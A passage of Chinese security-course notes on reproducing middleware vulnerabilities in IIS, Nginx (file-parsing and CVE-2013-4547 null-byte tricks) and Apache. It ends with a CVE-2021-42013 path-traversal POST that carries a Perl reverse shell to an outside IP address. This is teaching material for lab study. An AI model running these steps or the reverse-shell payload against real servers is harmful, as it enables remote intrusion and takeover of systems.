小迪安全第59天服务攻防-中间件安全&CVE 复现&IIS&Apache&Tomcat&Nginx

一.中间件-IIS-短文件&解析&蓝屏

IIS现在用的也少了，漏洞也基本没啥用

1、短文件：信息收集

2、文件解析：还有点用

3、HTTP.SYS：蓝屏崩溃

没有和权限挂钩

4、CVE-2017-7269 条件过老

windows 2003上面的漏洞

二.中间件-Nginx-文件解析&命令执行等

1. 后缀解析文件名解析

配置不当：该漏洞与 Nginx、php 版本无关，属于用户配置不当造成的解析漏洞。

这个跟文件上传类似，找到文件上传点，上传png图片

找到上传路径和nginx版本号

查看路径

添加后缀可以用php执行png

在图片里添加phpinfo执行

2. CVE-2013-4547

影响版本：Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

填入phpinfo

在1.jpg后加一个空格

获得路径地址

在jpg后加入两个空格.php

然后切换到Hex页面

将20 20 中后面的20替换为00

成功

3. cve_2021_23017 无 EXP

CVE-2021-23017：nginx DNS解析漏洞PoC公开-腾讯云开发者社区-腾讯云 (tencent.com)

4. cve_2017_7529 敏感信息泄露，意义不大

三.中间件-Apache-RCE&目录遍历&文件解析等

Apache HTTP Server 是美国阿帕奇（Apache）基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的 API 进行扩充的特点，发现 Apache HTTP Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护，则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本，则这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50，而不影响更早版本。

1.cve_2021_42013 RCE

监听端口

修改抓包内容，用POST提交，下面的是使用棱角社区生成的perl的反弹shell命令

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh 
echo;perl -e 'use 
Socket;$i="47.94.236.117";$p=5566;socket(S,PF_INET,SOCK_STREAM,ge
tprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/b
in/sh -i");};'